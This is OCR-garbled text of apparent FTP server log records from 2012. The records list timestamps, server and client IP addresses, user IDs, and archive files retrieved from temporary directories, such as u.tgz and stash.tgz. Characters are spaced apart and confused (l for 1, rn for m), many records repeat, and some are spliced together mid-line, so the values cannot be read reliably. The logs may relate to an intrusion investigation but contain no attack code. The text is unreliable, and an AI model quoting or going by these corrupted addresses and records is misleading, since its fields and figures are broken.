1 8 ; 2 6 0 4 ; S ; ; ; ; FT P D l ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 5 9 5 0 1 ; / s amp l e s / s t a rtup . mk 

T C P_FTP S E RVER_T_S Y 1 9 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 3 . 0 3 . 9 0 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; AS I 0 9 3 6 ; I ; S ; F ; H ; l 3 . 3 3 . 0 3 ; 1 3 . 3 3 .  

0 3 ; 1 3 9 2 6 4 0 ; S ; ; ; ; FT P D l ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S TEM/tmp / ap t . t g z  

' 
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T C P_FTP S E RVER_T_S Y 1 9_0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 3 . 0 5 . 8 5 0 0 0 0 ; < C S >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; AS I 0 9 3 6 ; I ; S ; F ; H ; 1 3 . 3 3 . 0 4 ; 1 3 . 3 3 .  

0 5 ; 3 6 2 4 9 6 0 ; S ; ; ; ; F T P D 1 ; s erna i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S T E M / trnp / c i c s w s d l . t g z  

T C P_FTP S E RVER_T_S Y 1 9_0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 4 . 2 5 . 0 4 0 0 0 0 ; < C S >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; AS I 0 9 3 6 ; I ; S ; F ; H ; 1 3 . 3 4 . 2 5 ; 1 3 . 3 4 .  

2 5 ; 1 4 0 0 ; S ; ; ; ; FT P D 1 ; s erna i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S TEM/ trnp / a 0 / a op s t a r t  

T C P_FT P_S E RVER_T_S Y 1 9 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 4 . 3 9 . 1 8 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; AS I 0 9 3 6 ; H ; l 3 . 3 4 . 3 9 ; 1 3 . 3 4 . 3 9 ; 7 6 9  

; S ; ; ; ; FT P D 1 ; s erna i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S TEM/ trnp / a 0 / c s f s t a r t  

T C P  F T P_SERVER_T_S Y 1 9 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 4 . 5 0 . 8 1 0 0 0 0 ; < C S >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; AS I 0 9 3 6 ; I ; S ; F ; H ; 1 3 . 3 4 . 5 0 ; 1 3 . 3 4 .  

5 0 ; 4 5 3 6 ; S ; ; ; ; FT P D 1 ; s ernai n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S TEM/ trnp / a 0 / hw i s t a r t  

T C P_FTP_SERVER_T_S Y 1 9_ 0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 0 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

0 3 . 2 3 . 1 1 . 6 9 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; AV I Y 3 5 6 ; I ; S ; F ; H ; 0 2 . 2 3 . 1 1 ; 0 2 . 2 3 .  

1 1 ; 1 6 3 8 4 0 ; S ; ; ; ; F T P D 1 ; s erna i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 3 8 9 3 9 ; / trnp / . u . t g z  

T C P_FTP_SERVER_T_S Y 1 9 0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 0 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

0 3 . 2 9 . 2 6 . 8 0 0 0 0 0 ; < C S >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; AV I Y 3 5 6 ; I ; S ; F ; H ; 0 2 . 2 9 . 2 5 ; 0 2 . 2 9 .  

2 6 ; 3 6 2 4 9 6 0 ; S ; ; ; ; F T P D 1 ; s erna i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 3 8 9 3 9 ; / trnp / c i c s w s d l . t g z  

T C P_FTP_SERVER_T_S Y 1 9_0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 1 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

1 2 . 1 4 . 1 8 . 8 3 0 0 0 0 ; < C S >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S EQ ; AV I Y 3 5 4 ; I ; S ; F ; H ; l 1 . 1 4 . 0 2 ; 1 1 . 1 4 .  

1 8 ; 3 4 2 8 3 5 0 0 ; S ; ; ; ; F T P D 1 ; s ern a i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 3 7 0 / trnp / u . t g z  

T C P_FTP_S ERVER_T_S Y 1 9_ 0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 1 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

1 2 . 1 5 . 1 8 . 9 9 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S EQ ; AV I Y 3 5 4 ; I ; S ; F ; H ; 1 1 . 1 4 . 4 1 ; 1 1 . 1 5 .  

1 8 ; 5 4 0 1 6 0 0 0 ; S ; ; ; ; F T P D 1 ; s e rna i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 4 2 9 1 1 ; / trnp / u . t g z  

T C P_FT P_SERVER_T_S Y 1 9  0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 1 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

1 2 . 1 5 . 2 1 . 0 7 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S EQ ; AV I Y 3 5 4 ; I ; S ; F ; H ; 1 1 . 1 5 . 2 0 ; 1 1 . 1 5 .  

2 0 ; 2 0 4 8 0 ; S ; ; ; ; F T P D 1 ; s ern a i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 4 2 9 1 1 ; / trnp / s t a s h . t g z  

T C P_F T P_SERVER_T_ S Y 1 9_ 0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 5 ; 2 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 5 -

2 2 . 2 1 . 3 1 . 8 9 0 0 0 0 ; < C S >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S EQ ; WAHS 0 0 6 ; I ; S ; F ; H ; 2 1 . 2 1 . 2 6 ; 2 1 . 2 1 .  

3 1 ; 1 5 7 2 4 8 0 0 ; S ; ; ; ; F T P D 1 ; s erna i n f ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 5 5 4 2 8 ; / u / d 6 1 0 / r fv f tp / l . t g z  

T C P_FTP_SERVER_T_S Y S 3_ 0 3 1 0 - 0 3 2 7 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 2 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

2 2 . 0 . 0 4 0 0 0 0 ; < C 5 >UNKNOWN ; S Y S 3 ; ; 1 9 2 . 1 6 . 1 4 3 . 2 ; 2 1 ; ; ; RE TR ; S E Q ; NU S ; I ; S ; F ; H ; 2 0 . 5 8 . 4 4 ; 2 1 . 0 3 . 2 8 ; 2 1 9 6 6 3 0  

0 ; S ; ; ; ; FT P D 1 ; DAFAS ; 1 9 4 . 2 3 . 6 1 . 1 5 1 ; 3 5 2 5 3 ; / S Y S T E M / t rnp / c t s 3 2 . t g z  

T C P_FT P_S E RVE R_T_S Y S 3  0 3 1 0 - 0 3 2 7 . c s v : 2 0 1 2 - 0 3 - 2 0 ; 0 9 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 2 0 -

0 9 . 2 8 . 3 7 . 2 4 0 0 0 0 ; < C S > UNKNOWN ; S Y S 3 ; ; 1 9 2 . 1 6 . 1 4 3 . 2 ; 2 1 ; ; ; RE TR ; S E Q ; NU S ; I ; S ; F ; H ; 0 8 . 2 7 . 5 1 ; 0 8 . 2 8 . 3 7 ; 8 3 2  

7 1 7 0 0 ; S ; ; ; ; FT P D 1 ; DAFAS ; 9 3 . 1 8 6 . 1 7 0 . 5 4 ; 2 7 7 2 2 ; / trnp / . , / u . i t . t g z 

T C P_FTP_SERVER_T_S Y S 3  0 3 1 0 - 0 3 2 7 . c s v : 2 0 1 2 - 0 3 - 2 0 ; 0 9 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 2 0 -

0 9 . 2 9 . 2 3 . 7 5 0 0 0 0 ; < C 5 >UNKNOWN ; S Y S 3 ; ; 1 9 2 . 1 6 . 1 4 3 . 2 ; 2 1 ; ; ; RE T R ; S E Q ; NU S ; I ; S ; F ; H ; 0 8 . 2 9 . 1 0 ; 0 8 . 2 9 . 2 3 ; 2 1 7  

7 0 2 0 0 ; S ; ; ; ; FT P D 1 ; DAFAS ; 9 3 : T C P_FT P_S E RVER_T_S Y 1 9  0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 5 ; 1 7 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 5 -

1 7 . 0 9 . 1 9 . 6 4 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; B S N 0 0 5 8 ; I ; S ; F ; H ; l 6 . 0 9 . 1 8 ; 1 6 . 0 9 .  

1 9 ; 1 3 9 2 6 4 0 ; S ; ; ; ; FT P D 1 ; s erna i n f ; 1 7 8 . 1 8 . 2 4 3 . 2 7 ; 3 2 0 4 4 ; / trnp / ap t . t g z  

T C P_FT P_S E RVER_T_S Y 1 9 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 5 ; 1 9 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 5 -

1 9 . 2 8 . 0 3 . 1 1 0 0 0 0 ; < C S >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; B S N 0 0 5 8 ; I ; S ; F ; H ; 1 8 . 2 7 . 5 9 ; 1 8 . 2 8 .  

0 1 ; 1 3 9 2 6 4 0 ; S ; ; ; ; F T P D 1 ; s erna i n f 7 8 . 1 8 . 2 4 3 . 2 7 ; 4 6 9 2 7 ; / trnp / ap t . t g z  

T C P_FTP S E RVER_T_S Y 1 9_0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 3 . 4 5 . 2 4 . 4 7 0 0 0 0 ; < C S >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; S PRB I 0 8 ; I ; S ; F ; H ; 1 2 . 4 5 . 2 3 ; 1 2 . 4 5 .  

2 4 ; 1 3 9 2 6 4 0 ; S ; ; ; ; FT P D 1 ; s erna i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 5 9 3 4 7 ; / trnp / ap t . t g z  

T C P_FT P_S E RVER_T_S Y 1 9 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 3 . 4 5 . 2 5 . 7 2 0 0 0 0 ; < C S >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S EQ ; S PRB I 0 8 ; I ; S ; F ; H ; 1 2 . 4 5 . 2 4 ; 1 2 . 4 5 .  

2 5 ; 3 6 2 4 9 6 0 ; S ; ; ; ; F T P D 1 ; s erna i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 5 9 3 4 7 ; / trnp / c i c s w s dl . t g z  
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T C P_FTP S E RVER_T_S Y 1 9  0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 0 6 . 1 8 . 7 2 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE TR ; S E Q ; S PRB I 0 l ; I ; S ; F ; H ; l 3 . 0 6 . 1 8 ; 1 3 . 0 6 .  

1 8 ; 2 6 0 4 ; S ; ; ; ; FT P D l ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 5 9 5 0 1 ; / s amp l e s / s t a rtup . mk 

T C P_FTP_SERVER_T_S Y 1 9_0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 3 . 0 3 . 9 0 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; AS I 0 9 3 6 ; I ; S ; F ; H ; l 3 . 3 3 . 0 3 ; 1 3 . 3 3 .  

0 3 ; 1 3 9 2 6 4 0 ; S ; ; ; ; F T P D l ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S TEM/tmp / apt . t g z  

T C P_FTP_SERVER_T_S Y 1 9_0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 3 . 0 5 . 8 5 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; A S I 0 9 3 6 ; I ; S ; F ; H ; l 3 . 3 3 . 0 4 ; 1 3 . 3 3 .  

0 5 ; 3 6 2 4 9 6 0 ; S ; ; ; ; FT P D l ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S TEM/ tmp / c i c s w s d l . t g z  

T C P_FTP_SERVER_T_S Y 1 9_0 3 1 0 - 0 3 2 6 . c sv : 2 0 1 2 - 0 3 - 1 0 ; 0 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

0 3 . 2 3 . 1 1 . 6 9 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; AV I Y 3 5 6 ; I ; S ; F ; H ; 0 2 . 2 3 . 1 1 ; 0 2 . 2 3 .  

1 1 ; 1 6 3 8 4 0 ; S ; ; ; ; FT P D l ; s ema i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 3 8 9 3 9 ; / tmp / . u . t g z  

T C P_FTP_SERVER_T_S Y 1 9  0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 0 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

0 3 . 2 9 . 2 6 . 8 0 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; AV I Y 3 5 6 ; I ; S ; F ; H ; 0 2 . 2 9 . 2 5 ; 0 2 . 2 9 .  

2 6 ; 3 6 2 4 9 6 0 ; S ; ; ; ; F T P D l ; s ema i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 3 8 9 3 9 ; / tmp / c i c s w s dl . t g z  

T C P_FT P_S E RVER_T_S Y 1 9  0 3 1 0 - 0 3 2 6 . c sv : 2 0 1 2 - 0 3 - 1 0 ; 1 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

1 2 . 1 4 . 1 8 . 8 3 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; AV I Y 3 5 4 ; I ; S ; F ; H ; l l . l 4 . 0 2 ; 1 1 . 1 4 .  

1 8 ; 3 4 2 8 3 5 0 0 ; S ; ; ; ; FT P D l ; s ema i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 3 7 0 0 2 ; / tmp / u . t g z  

T C P_FTP_SERVER_T_S Y 1 9_ 0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 1 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

1 2 . 1 5 . 1 8 . 9 9 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE TR ; S EQ ; AV I Y 3 5 4 ; I ; S ; F ; H ; l l . l 4 . 4 1 ; 1 1 . 1 5 .  

1 8 ; 5 4 0 1 6 0 0 0 ; S ; ; ; ; FT P D l ; s ema i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 4 2 9 1 1 ; / tmp / u . t g z  

T C P_FTP_SERVER_T_S Y 1 9_0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 1 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

1 2 . 1 5 . 2 1 . 0 7 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S EQ ; AV I Y 3 5 4 ; I ; S ; F ; H ; l l . l 5 . 2 0 ; 1 1 . 1 5 .  

2 0 ; 2 0 4 8 0 ; S ; ; ; ; F T P D l ; s ema i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 4 2 9 1 1 ; / tmp / s t a s h . t g z  

T C P_FTP_SERVER_T_S Y 1 9 0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 5 ; 2 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 5 -

2 2 . 2 1 . 3 1 . 8 9 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; WAHS 0 0 6 ; I ; S ; F ; H ; 2 1 . 2 1 . 2 6 ; 2 1 . 2 1 .  

3 1 ; 1 5 7 2 4 8 0 0 ; S ; ; ; ; FT P D l ; s ema i n f ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 5 5 4 2 8 ; / u / d 6 1 0 / r fv f tp / l . t g z  

T C P_FT P_S E RVER_T_S Y S 3_0 3 1 0 - 0 3 2 7 . c sv : 2 0 1 2 - 0 3 - 1 0 ; 2 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

2 2 . 0 3 . 3 2 . 0 4 0 0 0 0 ; < C 5 > UNKNOWN ; S Y S 3 ; ; 1 9 2 . 1 6 . 1 4 3 . 2 ; 2 l ; ; ; RE T R ; S EQ ; NU S ; I ; S ; F ; H ; 2 0 . 5 8 . 4 4 ; 2 1 . 0 3 . 2 8 ; 2 1 9  

6 6 3 0 0 ; S ; ; ; ; F T P D l ; DAFAS ; l 9 4 . 2 3 . 6 1 . 1 5 1 ; 3 5 2 5 3 ; / S Y S T EM/ tmp / c t s 3 2 . t g z  

T C P_FTP_S E RVE R_T_S Y S 3_0 3 1 0 - 0 3 2 7 . c s v : 2 0 1 2 - 0 3 - 2 0 ; 0 9 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 2 0 -

0 9 . 2 8 . 3 7 . 2 4 0 0 0 0 ; < C 5 > UNKNOWN ; S Y S 3 ; ; 1 9 2 . 1 6 . 1 4 3 . 2 ; 2 l ; ; ; RE TR ; S E Q ; NU S ; I ; S ; F ; H ; 0 8 . 2 7 . 5 1 ; 0 8 . 2 8 . 3 7 ; 8 3 2  

7 1 7 0 0 ; S ; ; ; ; FT P D l ; DAFAS ; 9 3 . 1 8 6 . 1 7 0 . 5 4 ; 2 7 7 2 2 ; / tmp / . , / u . i t . t g z  

T C P_FTP_SERVER_T_S Y S 3_0 3 1 0 - 0 3 2 7 . c sv : 2 0 1 2 - 0 3 - 2 0 ; 0 9 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 2 0 -

0 9 . 2 9 . 2 3 . 7 5 0 0 0 0 ; < C 5 > UNKNOWN ; S Y S 3 ; ; 1 9 2 . 1 6 . 1 4 3 . 2 ; 2 l ; ; ; RE T R ; S EQ ; NU S ; I ; S ; F ; H ; 0 8 . 2 9 . 1 0 ; 0 8 . 2 9 . 2 3 ; 2 1 7  

7 0 2 0 0 ; S ; ; ; ; FT P D l ; DAFAS ; 9 3 . 1 8 6 . 1 7 0 . 5 4 ; 2 7 : T C P  FTP_SERVER_T_SY 1 9_0 2 0 1 - 0 3 0 9 . c sv : 2 0 1 2 - 0 3 -

0 5 ; 1 7 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 5 -

1 7 . 0 9 . 1 9 . 6 4 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; B S N 0 0 5 8 ; I ; S ; F ; H ; l 6 . 0 9 . 1 8 ; 1 6 . 0 9 .  

1 9 ; 1 3 9 2 6 4 0 ; S ; ; ; ; FT P D l ; s ema i n f ; l 7 8 . 1 8 . 2 4 3 . 2 7 ; 3 2 0 4 4 ; / tmp / ap t . t g z  

T C P_FTP_S ERVER_T_S Y 1 9_0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 5 ; 1 9 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 5 -

1 9 . 2 8 . 0 3 . 1 1 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; B SN 0 0 5 8 ; I ; S ; F ; H ; l 8 . 2 7 . 5 9 ; 1 8 . 2 8 .  

0 1 ; 1 3 9 2 6 4 0 ; S ; ; ; ; F T P D l ; s e ma i n f ; l 7 8 . 1 8 . 2 4 3 . 2 7 ; 4 6 9 2 7 ; / tmp / ap t . t g z  

T C P_FTP_SERVER_T_S Y 1 9_0 2 0 1 - 0 3 0 9 . c sv : 2 0 1 2 - 0 3 - 0 8 ; 1 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 3 . 4 5 . 2 4 . 4 7 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; S PRB I 0 8 ; I ; S ; F ; H ; l 2 . 4 5 . 2 3 ; 1 2 . 4 5 .  

2 4 ; 1 3 9 2 6 4 0 ; S ; ; ; ; FT P D l ; sema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 5 9 3 4 7 ; / tmp / ap t . t g z  

T C P_FTP_S ERVER_T_S Y 1 9_0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 3 . 4 5 . 2 5 . 7 2 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE TR ; S E Q ; S PRB I 0 8 ; I ; S ; F ; H ; l 2 . 4 5 . 2 4 ; 1 2 . 4 5 .  

2 5 ; 3 6 2 4 9 6 0 ; S ; ; ; ; F T P D l ; s e ma i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 5 9 3 4 7 ; / tmp / c i c s w s dl . t g z  

T C P_FTP_S ERVE R_T_S Y 1 9 0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 3 . 0 3 . 9 0 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; AS I 0 9 3 6 ; I ; S ; F ; H ; l 3 . 3 3 . 0 3 ; 1 3 . 3 3 .  

0 3 ; 1 3 9 2 6 4 0 ; S ; ; ; ; FT P D l ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S TEM/ tmp / ap t . t g z  
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T C P_FTP_SERVER_T_SY 1 9_0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 3 . 0 5 . 8 5 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; AS I 0 9 3 6 ; I ; S ; F ; H ; 1 3 . 3 3 . 0 4 ; 1 3 . 3 3 .  

0 5 ; 3 6 2 4 9 6 0 ; S ; ; ; ; FT P D 1 ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S TEM/tmp / c i c s w s dl . t g z  

T C P_FTP_SERVER_T_S Y 1 9_ 0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 0 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

0 3 . 2 3 . 1 1 . 6 9 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; AV I Y 3 5 6 ; I ; S ; F ; H ; 0 2 . 2 3 . 1 1 ; 0 2 . 2 3 . 

1 1 ; 1 6 3 8 4 0 ; S ; ; ; ; FT P D 1 ; s ema i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 3 8 9 3 9 ; / tmp / . u . t g z  

T C P_FTP_ S E RVER_T_S Y 1 9 0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 0 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

0 3 . 2 9 . 2 6 . 8 0 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S EQ ; AV I Y 3 5 6 ; I ; S ; F ; H ; 0 2 . 2 9 . 2 5 ; 0 2 . 2 9 .  

2 6 ; 3 6 2 4 9 6 0 ; S ; ; ; ; FT P D 1 ; s ema i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 3 8 9 3 9 ; / tmp / c i c s w s dl . t g z  

T C P_ F T P_SERVER_T_S Y 1 9 0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 1 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

